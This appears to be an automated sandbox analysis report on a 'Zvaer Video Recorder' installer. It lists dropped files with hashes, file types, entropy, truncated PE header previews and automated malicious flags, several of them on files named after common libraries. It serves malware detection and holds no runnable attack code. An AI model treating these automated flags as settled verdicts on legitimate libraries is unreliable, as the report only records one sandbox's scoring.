MD5:	034D89CD2C41EDFCEADA9F96A3C0A56A
SHA1:	92AB4E6FF98CA987D56EA3C1BA36D1C61EF23ACB
SHA-256:	44BBE94D481B106F00223DD406D015AEFD00CFA2DBA9428BEFC2B8F6A3FEB971
SHA-512:	6C3E701D2D0FD24FDB46C0E1B0EF5245F36E4A34A9D2340665A31F6331C2D6F08680399600FB02C3D51694F9BAFFB3E41A367CB4FE945D4836B669DA63EB6358
Malicious:	false
Reputation:	unknown
Preview:	1 1..4 3..3 2..16 9..6 5..468 60..728 90..2592 1936

C:\Users\user\AppData\Local\Zvaer Video Recorder\is-BHR8A.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	31528
Entropy (8bit):	6.472533190412445
Encrypted:	false
SSDEEP:	384:R77JqjlI8icUYWhN5tWcS5gWZoMUekWi9pBj0HRN7RA5aWixHRN7osDhzlGs6N+E:R5D8icUlX5YYMLAWRAlypmPB
MD5:	7EE2B93A97485E6222C393BFA653926B
SHA1:	F4779CBFF235D21C386DA7276021F136CA233320
SHA-256:	BD57D8EEF0BC3A757C5CE5F486A547C79E12482AC8E694C47A6AB794AA745F1F
SHA-512:	4A4A3F56674B54683C88BD696AB5D02750E9A61F3089274FAA25E16A858805958E8BE1C391A257E73D889B1EEA30C173D0296509221D68A492A488D725C2B101
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........U..\4~.\4~.\4~...^4~.UL..X4~.Dz.[4~.D}.^4~.\4..v4~.D..Y4~.D{.O4~.D~.]4~.D..]4~.D\|.]4~.Rich\4~.........PE..d...W8.^.........." .........$............................................................`A.........................................>..L....?..x....p.......`..4....:..(A......p...@3..T............................3..0............0..0............................text...(........................... ..`.rdata.......0......................@..@.data........P.......,..............@....pdata..4....`.......0..............@..@.rsrc........p.......4..............@..@.reloc..p............8..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\is-EA32K.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	363880
Entropy (8bit):	6.3947346615222305
Encrypted:	false
SSDEEP:	6144:lieS4N0DdxBa72yNQuqped6c7Bv5ebr+U2pyQqsa3a8g+QTW:UeSyCVaiyNQAd6cV5K+Jp37W
MD5:	460B0576549FFD1F55D717BA6E265A05
SHA1:	65AB7E2109658102678C122D7DE603E64DCE7CC5
SHA-256:	AAB56C21B6CEC7065882A750BECB4526B4CB5815A4AC002C2594F84FB0F5955F
SHA-512:	666B16FF72CB847B8D141B0110BBB45AAE67D9BB01E2D6B48C7BDA61C5DC3126CCBC72627C1B93EC23B87E9427C39DC890F1E0A72E5077DC0071E5FEA1B1E3A3
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....................7!.....;.....9...............>.;...Vh-.......>.......>.:....=...>.8...Rich....................PE..d.....%Y.........." .........d.......................................................L....`.........................................@........................P...7...l..h!......8.......................................p............ ...............................text...K........................... ..`.rdata....... ......................@..@.data...@....@.......(..............@....pdata...7...P...8...*..............@..@.rsrc................b..............@..@.reloc..8............h..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\is-HDAO7.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	248680
Entropy (8bit):	4.820760286569876
Encrypted:	false
SSDEEP:	6144:k6bBPHJr5r5C9Fg8Imnw5bR3Kklo7rbQox:kz
MD5:	60BAB1D197D91828ED25099968F7D8C5
SHA1:	FC8E1B3C2C98727D2D81A8E85420FA80EE655F19
SHA-256:	F682B5AA0AF3CEE93F890EC6717F94C1AC9B75EBFF512955C6531E7CEE05D196
SHA-512:	5B9CBB11E3FCB00FD76F595520DA4610FA37B0F1227D016D77350909846BA33AF9A32B650BB1CE9A73549DB5BF190C2205E28223D1745191B2424F6DC7327B38
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$.........e..6..6..6..`6..6...7..6...7..6...7..6...7..62..7..6J..7..62..7..6l..7..6..6...6l..7..6l..7..6l..6..6.d6..6l..7..6Rich..6........................PE..d...3N2c.........." ................................................................U....`..........................................&...0..(W..,.... ..................h!..............T...........................`...8............................................text...+........................... ..`.rdata..v'.......(..................@..@.data...x%....... ..................@....pdata..............................@..@.rsrc........ ......................@..@.reloc..............................@..B........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\is-IC7L0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	869224
Entropy (8bit):	6.632387605957213
Encrypted:	false
SSDEEP:	24576:DJf34ppw4hjg401r+iTy2mmzuF3SJciti0ZIj8UoJwCR:Dl3ypw4yN/RiF3SJdO8xJv
MD5:	DAA904CE63B0A290111AED5E843B9368
SHA1:	6642AD5C2622D756EB3500E7C0420E9DA7A16BB1
SHA-256:	471BBC3FA0A98869F6791E0D1A55B38F5E360842A7CC219A6FF26030E62DBB1B
SHA-512:	CBFD06523F1855AAF4BE2D33EB3A3A324C8D7AF4871B314AC2C165FD17F8DA6CD2F465E9405412282AAC1ED247B811A4A73D91069A324A5AEC531253AE3A4D0B
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......t.9d0.W70.W70.W7...73.W70.V7m.W7.M.71.W7v..7..W7v..7..W7v..7$.W7.s.7e.W70.W7'.W7.s.71.W7=..71.W7.s.71.W7Rich0.W7........PE..d......].........." .....8...........\...............................................$....`.................................................\|...(....`..........x]..."..h!...p.......R..8...............................p............P..H............................text...7+.......,.................. ..`.rodata......@.......0.............. ..`.rdata..FP...P...R...<..............@..@.data... K.......&..................@....pdata..x].......^..................@..@.rsrc........`......................@..@.reloc.......p......................@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\is-L2SK4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	320120
Entropy (8bit):	6.398399631689542
Encrypted:	false
SSDEEP:	6144:bSU6+JAfisltPzYzrIybvaEezwMckNI+STEDv4nk3ad04ZqhKTrg+COv:brAltbYzsOvaWJ
MD5:	DB19F6E0A1BB5DB1C8D87C3FE0891136
SHA1:	3B2DAB478A8268000EF5E4474D52CB71F9EB615E
SHA-256:	7623B596CFD989413FEA2FE355607B029EF8E64067275CBF81863688128738B0
SHA-512:	B328DC6D1ADE3061894BC5C50F437B732190DE3CEA6D2CDC147A9A8193EE73221937FBA24209B66226D5E4B05DFFF5A79DB8B134373D1218605BCBA6EE82A6B3
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......~@hB:!..:!..:!..3Y..2!...L..8!..aI..8!...L..,!...L..2!...L..9!...O..=!..:!..."...O../!...O..;!...O..;!..:!..;!...O..;!..Rich:!..........................PE..d....lP_.........." .....\...v......$_...................................................`..........................................5...........................,......x.......\|...P...T.......................(....................p..p............................text....[.......\.................. ..`.rdata..."...p...$...`..............@..@.data...8...........................@....pdata...,..........................@..@.rsrc...............................@..@.reloc..\|...........................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\is-LCIAQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	660128
Entropy (8bit):	6.339798513733826
Encrypted:	false
SSDEEP:	12288:N2fus43uu43Ry4GHlT4xH2K+M+/i+WSpY+7YOzCaK9A3gS2EKZm+GWodEEwnyh:muJzCaK9AB2EKZm+GWodEEwnyh
MD5:	46060C35F697281BC5E7337AEE3722B1
SHA1:	D0164C041707F297A73ABB9EA854111953E99CF1
SHA-256:	2ABF0AAB5A3C5AE9424B64E9D19D9D6D4AEBC67814D7E92E4927B9798FEF2848
SHA-512:	2CF2ED4D45C79A6E6CEBFA3D332710A97F5CF0251DC194EEC8C54EA0CB85762FD19822610021CCD6A6904E80AFAE1590A83AF1FA45152F28CA56D862A3473F0A
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........;..h..h..h..[h..h..h..h..Mh..hIAWh..h..Oh..h..qh..h..ph..h..uh..h..Lh..h..Kh..h..Nh..hRich..h................PE..d.....OR.........." .....@...................................................`......a.....`.........................................pU.. ....2..<....@...........G.......>...P.......X..................................p............P...............................text....>.......@.................. ..`.rdata.......P.......D..............@..@.data........P...8...B..............@....pdata...G.......H...z..............@..@.rsrc........@......................@..@.reloc.......P......................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\is-LIOU6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	590632
Entropy (8bit):	6.463330275333709
Encrypted:	false
SSDEEP:	12288:Mt8MRN4gE4x4iTqwTQa6IUqXF7XyxpypsdUDqNSfbQEKZm+jWodEEV3Ho/:MCMm9pyp35bQEKZm+jWodEExg
MD5:	E74CAF5D94AA08D046A44ED6ED84A3C5
SHA1:	ED9F696FA0902A7C16B257DA9B22FB605B72B12E
SHA-256:	3DEDEF76C87DB736C005D06A8E0D084204B836AF361A6BD2EE4651D9C45675E8
SHA-512:	D3128587BC8D62E4D53F8B5F95EB687BC117A6D5678C08DC6B59B72EA9178A7FD6AE8FAA9094D21977C406739D6C38A440134C1C1F6F9A44809E80D162723254
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......n..............w.(...#...<........../.....".................+.....g.+.....+...Rich*...................PE..d...R8.^.........." .....>..........p"....................................................`A........................................ m..h....G..,...............(;......(A......4.......T...............................0............P......Ti..@....................text....=.......>.................. ..`.rdata.......P.......B..............@..@.data....:...`..."...P..............@....pdata..(;.......<...r..............@..@.didat..h...........................@....rsrc...............................@..@.reloc..4...........................@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\is-MBS2M.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	135016
Entropy (8bit):	5.674566205873397
Encrypted:	false
SSDEEP:	1536:GZU6fX6Kj693r/67BhRpsGmQhRJRVW8/mpI4Sx8K5aqEkmgcs8MYQJaqEkmgcs8o:GZU6qz3ERpNzhRvVoVDe1r0+
MD5:	61CF5C843D8A31162B59C074AE74A76E
SHA1:	123E0EACE3DD60FEF94DC96215468D22434C50FB
SHA-256:	F51BB73407C96E4A2E3016A96A870FA4B422A8B1851477048D122CCC2D523687
SHA-512:	AA1C3175D9A0E11341B8A2F1C5372E99E1164169C8FC71727A0FE6655878782E921FA046D6A83CA2E2C67DAE0609704442EBCFDBE985281F02DDB7E288DC718D
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....................2.&......<......>..................qY/....qY1....qY.....8<............8......8=.....8?....Rich............................PE..d...F..].........." ......................................................... ......S.....`.............................................d...............................h!......\...`...8...............................p............................................text............................... ..`.rdata..t...........................@..@.data...a...........................@....pdata..............................@..@.idata..8(.........................@..@.reloc..............................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\is-N6126.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp
File Type:	data
Category:	dropped
Size (bytes):	2995022
Entropy (8bit):	6.503594605688855
Encrypted:	false
SSDEEP:	49152:v+42XaEzHw2mUDlcjGA6PSvbSx1j/S6EEY:v+42K6Q2melci7PSvGxhqv
MD5:	61E850AC000E5125EB68E0061F2BA57B
SHA1:	A622D36272DC1104FCF363FCCDBE21448ADC73A3
SHA-256:	D78F9487456B09D4A8F0D4581DCE7FEAFF57E9D581C57BAA812B684599E131BF
SHA-512:	C376A461E9CF00EE0735302D09D4C9A98EEDDFFF32B195354B887E54FA37860EC4A5D8DCB48C9AA168119BAC483A83A38139EE3441D5C26AAEBCA60BC5A02D55
Malicious:	false
Reputation:	unknown
Preview:	.Z......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....'.^........../...............................@...........................-.............................................D...........................................................................................l............................text...*........................... ..`.rdata..n/.......0..................@..@.data...8T... ...0... ..............@....rsrc................P..............@..@.pascal5.p....!.Nc...P!.............a.S.........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\is-Q006J.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2042352
Entropy (8bit):	7.085275197144553
Encrypted:	false
SSDEEP:	24576:OFZD9URlmDrgBrhEci8XhP3YLd44RS6+FNbqUzUxVvqKGTZnIzudBDFPjQAr10Fu:+ZeLrXFcL0YF7pvtHkfH
MD5:	876A839023B8F962A72D295DA7495734
SHA1:	62A7728679BC18784B1FBF1D013F7CECE18CBEC9
SHA-256:	A757D773DA406411FB977761F6E56F016D48D224AEDAF3D875ED4D4A9EDE6158
SHA-512:	E1B23A2F5EC0100FF874CA075BBD0F90E9065A90FEC66861F99DF603D7AAA9DB8E8EC326710FDC11AD41D01BEFE4EA3077136127ACF613614D0D12FF23BEC6C1
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....^............................4.............@..........................@.......................................................p...3..............X............................................................................................text............................... ..`.rdata..x%.......0..................@..@.data....S.......0..................@....rsrc....@...p...@...@..............@..@.vcp1208............................a.G.........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\is-R4926.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	20840
Entropy (8bit):	6.3244920295043645
Encrypted:	false
SSDEEP:	384:rk3cFbdBtZHvagGFsGfZyGmGovy8ZpHEi+:rk0vHy9oyiRM
MD5:	D2BC90D6AF120A0643AD5DC5F3CE8D43
SHA1:	419C3246B08125754CCBB4323DD823F8DA0548CB
SHA-256:	BDED78571A2E60B3324AB9B4D3DDB6DE12FC08CB4BBE6A582A2C2292AA17CCE6
SHA-512:	F34C90E44F473A8CD62B75B6D531FDD47AD132A3F1BCE7AD5C0DDF30C61A2454BA214AA2B6CD50C2A1B6CD3AC85F2D9989775376A400D34EBBD2EFAB0FBECC7A
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......ovA{+./(+./(+./("o.(/./(yb.))./(yb)%./(yb+)#./(yb,)(./(?\|.)../(+..(../(.b)./(.b/)./(.b.(./(.b-)./(Rich+./(........................PE..d....z{c.........." ......... .......................................................7....`..........................................8..t...T;..x....p.......`.......0..h!......<....1...............................2..8............0..(............................text............................... ..`.rdata.......0......................@..@.data........P.......(..............@....pdata.......`.......*..............@..@.rsrc........p.......,..............@..@.reloc..<...........................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\is-R93OH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp
File Type:	ASCII text
Category:	dropped
Size (bytes):	1297
Entropy (8bit):	5.115489615345492
Encrypted:	false
SSDEEP:	24:CbUneZXof9+bOOrXqFT09+JYrXqFTzl796432s4EOkUs8QROJ32s3yxsITf+3t1e:Cn3OOrXqJ07rXqJzr6432sv832s3EsI/
MD5:	AAF4009F5963B1B270D8C3E697EBE442
SHA1:	F5A44235094DA0B8B5992C6112CB8C356EF22B93
SHA-256:	3988CDCCB878675B4AB8C11F21EF7F6301451F59E2E2BF3F07E963D36C8E9767
SHA-512:	BC30F4C5F17E4F0CDE2CDD5C36A6EC28271569E18808E736186D42409564E3E6FFA8AD23842912C90F39CE6264A698714A434092778C74CBDE6C330DD3969109
Malicious:	false
Reputation:	unknown
Preview:	Copyright (c) 2013, Cisco Systems.All rights reserved...Redistribution and use in source and binary forms, with or without modification,.are permitted provided that the following conditions are met:..* Redistributions of source code must retain the above copyright notice, this. list of conditions and the following disclaimer...* Redistributions in binary form must reproduce the above copyright notice, this. list of conditions and the following disclaimer in the documentation and/or. other materials provided with the distribution...THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND.ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED.WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE.DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR.ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES.(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERV

C:\Users\user\AppData\Local\Zvaer Video Recorder\is-SPMI0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	213112
Entropy (8bit):	6.331143352918189
Encrypted:	false
SSDEEP:	3072:V7rtKxzN2HVkkNUq3uUw8SWrBEcsGhLec956+48G+ikgyOzk1kLrTzhvt3GyY:Vr2N253eUw81rBXVevrH+mk12rTlS
MD5:	63D91B407A350DA5CE19B5D79924B1F4
SHA1:	45886A4018B60A5EAB7D4B743F4DF2A9A4318EDC
SHA-256:	22B626313A535C85CE6A097571C53A6E6678A9D4BC5D0DB9F81660ADC7ED366E
SHA-512:	FA06AB2B1AE116BC7AE93EA64D4C258A7149A23C0171C077F0919956101A22A59DD8E3F975C64073319842F01D6183253F637A0EDB514F0C02C9D88B0E65E6CF
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........u..j...j...j.......j.......j.. ....j.. ....j.. ....j.. ....j..i....j...j...j..i....j..i....j..i...j...j...j..i....j..Rich.j..................PE..d....kP_.........." .........,...............................................`............`..........................................t..._...........@..........t"...*..x....P.......;..T...........................`;...............................................text............................... ..`.rdata..............................@..@.data...............................@....pdata..t".......$..................@..@.rsrc........@....... ..............@..@.reloc.......P.......&..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\is-TP655.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	707354
Entropy (8bit):	6.470939699095507
Encrypted:	false
SSDEEP:	12288:D0QfKb7nH5lrPo37AzHTA63I0ihE4UEQrrNtIECORGvt5ELAfXExy8b:nfKbT5lrPo37AzHTA63/cfU9IEUt53fs
MD5:	E0A8C0126E60BCBF945A5FF2B36152AF
SHA1:	F8FC2300F661B47A215A4908265D6C8864CC7541
SHA-256:	7F8B0DE9B09FB20C0D5645BBA32B5553D5A66F2186785B61EC95355C0F9CEF36
SHA-512:	12F2D006E79A84470FFA0DCABEF829CE75AD9DC9AB91E9F3903505AA0791E98737E874854D3E037746CB12737213F38AF6638565C4802BC0AED681611005EEA8
Malicious:	true
Reputation:	unknown
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................&...........1.......@....@..............................................@...............................%...`...>..........................................................................................................CODE.....$.......&.................. ..`DATA....<....@.....................@...BSS..........`.......<...................idata...%.......&...<..............@....tls.................b...................rdata...............b..............@..P.reloc..............................@..P.rsrc....>...`...>...d..............@..P.....................*..............@..P........................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\is-TUB52.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	331384
Entropy (8bit):	6.387255143196498
Encrypted:	false
SSDEEP:	6144:cOjmvCPMfXfCsXL0hq+SNcFxkqSj1ZBtp:fcC05tp
MD5:	C3424F2D3D26632C341EF2F542AEA36B
SHA1:	30640EBFF046085DBA3BD0877DE8A90886BED945
SHA-256:	FB0BD60A7D0178C62CFD14D53B40AD47E8F68DB68B95C625723CADC1CD3A1A3E
SHA-512:	72D9A32433DA38CFB752A67C5F903F3480871FCBD16DC5999FB970313079652CF7AEB481DA6097879B641A0E76271118C6E82406DD14C9C90C7460BA6A71BDC7
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........O...........8...................................W............W.....W.....W.T.....<....W.....Rich...........................PE..d...z.P_.........." .........................................................@....../.....`..................................................*....... ...........1......x....0..8....N..T...................XP..(...PO...............................................text............................... ..`.rdata.............................@..@.data...............................@....pdata...1.......2..................@..@.rsrc........ ......................@..@.reloc..8....0......................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\libcurl.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	363880
Entropy (8bit):	6.3947346615222305
Encrypted:	false
SSDEEP:	6144:lieS4N0DdxBa72yNQuqped6c7Bv5ebr+U2pyQqsa3a8g+QTW:UeSyCVaiyNQAd6cV5K+Jp37W
MD5:	460B0576549FFD1F55D717BA6E265A05
SHA1:	65AB7E2109658102678C122D7DE603E64DCE7CC5
SHA-256:	AAB56C21B6CEC7065882A750BECB4526B4CB5815A4AC002C2594F84FB0F5955F
SHA-512:	666B16FF72CB847B8D141B0110BBB45AAE67D9BB01E2D6B48C7BDA61C5DC3126CCBC72627C1B93EC23B87E9427C39DC890F1E0A72E5077DC0071E5FEA1B1E3A3
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....................7!.....;.....9...............>.;...Vh-.......>.......>.:....=...>.8...Rich....................PE..d.....%Y.........." .........d.......................................................L....`.........................................@........................P...7...l..h!......8.......................................p............ ...............................text...K........................... ..`.rdata....... ......................@..@.data...@....@.......(..............@....pdata...7...P...8...*..............@..@.rsrc................b..............@..@.reloc..8............h..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\libeay32.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2042352
Entropy (8bit):	7.085275197144553
Encrypted:	false
SSDEEP:	24576:OFZD9URlmDrgBrhEci8XhP3YLd44RS6+FNbqUzUxVvqKGTZnIzudBDFPjQAr10Fu:+ZeLrXFcL0YF7pvtHkfH
MD5:	876A839023B8F962A72D295DA7495734
SHA1:	62A7728679BC18784B1FBF1D013F7CECE18CBEC9
SHA-256:	A757D773DA406411FB977761F6E56F016D48D224AEDAF3D875ED4D4A9EDE6158
SHA-512:	E1B23A2F5EC0100FF874CA075BBD0F90E9065A90FEC66861F99DF603D7AAA9DB8E8EC326710FDC11AD41D01BEFE4EA3077136127ACF613614D0D12FF23BEC6C1
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....^............................4.............@..........................@.......................................................p...3..............X............................................................................................text............................... ..`.rdata..x%.......0..................@..@.data....S.......0..................@....rsrc....@...p...@...@..............@..@.vcp1208............................a.G.........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\libmp3lame.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	397672
Entropy (8bit):	6.4894894939696846
Encrypted:	false
SSDEEP:	12288:W8c9NNNNNNBgjcQFg7jaV95D3+wxech2KJ:tc9NNNNNN+jcQg7jMnD/xech2o
MD5:	B9F3C911728B17FE49BB217D799FCC1A
SHA1:	26F4A963E2F43F46323D8610FEC5E8CC8C4A8A16
SHA-256:	9CEB41F04B48CF7B419C95D03E227F593836D74A04625C0AD5AD2877D7229B65
SHA-512:	0A50270432E6E476D5B4DAF7D9D45053F821BEF02F1872EF598A9E66B2E6B75AE4A89AB97AE175C5143CE3C993D7A354F6389EB5A8BDDBFDE59522103535C403
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........v.{.%.{.%.{.%.=%.{.%.?%.{.%..%.{.%..%.{.%...%.{.%`.+%.{.%.{.%.{.%..<%.{.%.);%.{.%.{w%.{.%..>%.{.%Rich.{.%........................PE..d......].........." .....8..........................................................g,....`.........................................@...87..x...<.... ...........%......h!...........................................k..p............P...............................text...;6.......8.................. ..`.rdata.......P.......<..............@..@.data...............................@....pdata...%.......&..................@..@_RDATA..P/.......0..................@..@.rsrc........ ......................@..@.reloc..............................@..B................................................................................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\mousehelper.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	20840
Entropy (8bit):	6.3244920295043645
Encrypted:	false
SSDEEP:	384:rk3cFbdBtZHvagGFsGfZyGmGovy8ZpHEi+:rk0vHy9oyiRM
MD5:	D2BC90D6AF120A0643AD5DC5F3CE8D43
SHA1:	419C3246B08125754CCBB4323DD823F8DA0548CB
SHA-256:	BDED78571A2E60B3324AB9B4D3DDB6DE12FC08CB4BBE6A582A2C2292AA17CCE6
SHA-512:	F34C90E44F473A8CD62B75B6D531FDD47AD132A3F1BCE7AD5C0DDF30C61A2454BA214AA2B6CD50C2A1B6CD3AC85F2D9989775376A400D34EBBD2EFAB0FBECC7A
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......ovA{+./(+./(+./("o.(/./(yb.))./(yb)%./(yb+)#./(yb,)(./(?\|.)../(+..(../(.b)./(.b/)./(.b.(./(.b-)./(Rich+./(........................PE..d....z{c.........." ......... .......................................................7....`..........................................8..t...T;..x....p.......`.......0..h!......<....1...............................2..8............0..(............................text............................... ..`.rdata.......0......................@..@.data........P.......(..............@....pdata.......`.......*..............@..@.rsrc........p.......,..............@..@.reloc..<...........................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\msvcp120.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	660128
Entropy (8bit):	6.339798513733826
Encrypted:	false
SSDEEP:	12288:N2fus43uu43Ry4GHlT4xH2K+M+/i+WSpY+7YOzCaK9A3gS2EKZm+GWodEEwnyh:muJzCaK9AB2EKZm+GWodEEwnyh
MD5:	46060C35F697281BC5E7337AEE3722B1
SHA1:	D0164C041707F297A73ABB9EA854111953E99CF1
SHA-256:	2ABF0AAB5A3C5AE9424B64E9D19D9D6D4AEBC67814D7E92E4927B9798FEF2848
SHA-512:	2CF2ED4D45C79A6E6CEBFA3D332710A97F5CF0251DC194EEC8C54EA0CB85762FD19822610021CCD6A6904E80AFAE1590A83AF1FA45152F28CA56D862A3473F0A
Malicious:	false
Reputation:	unknown
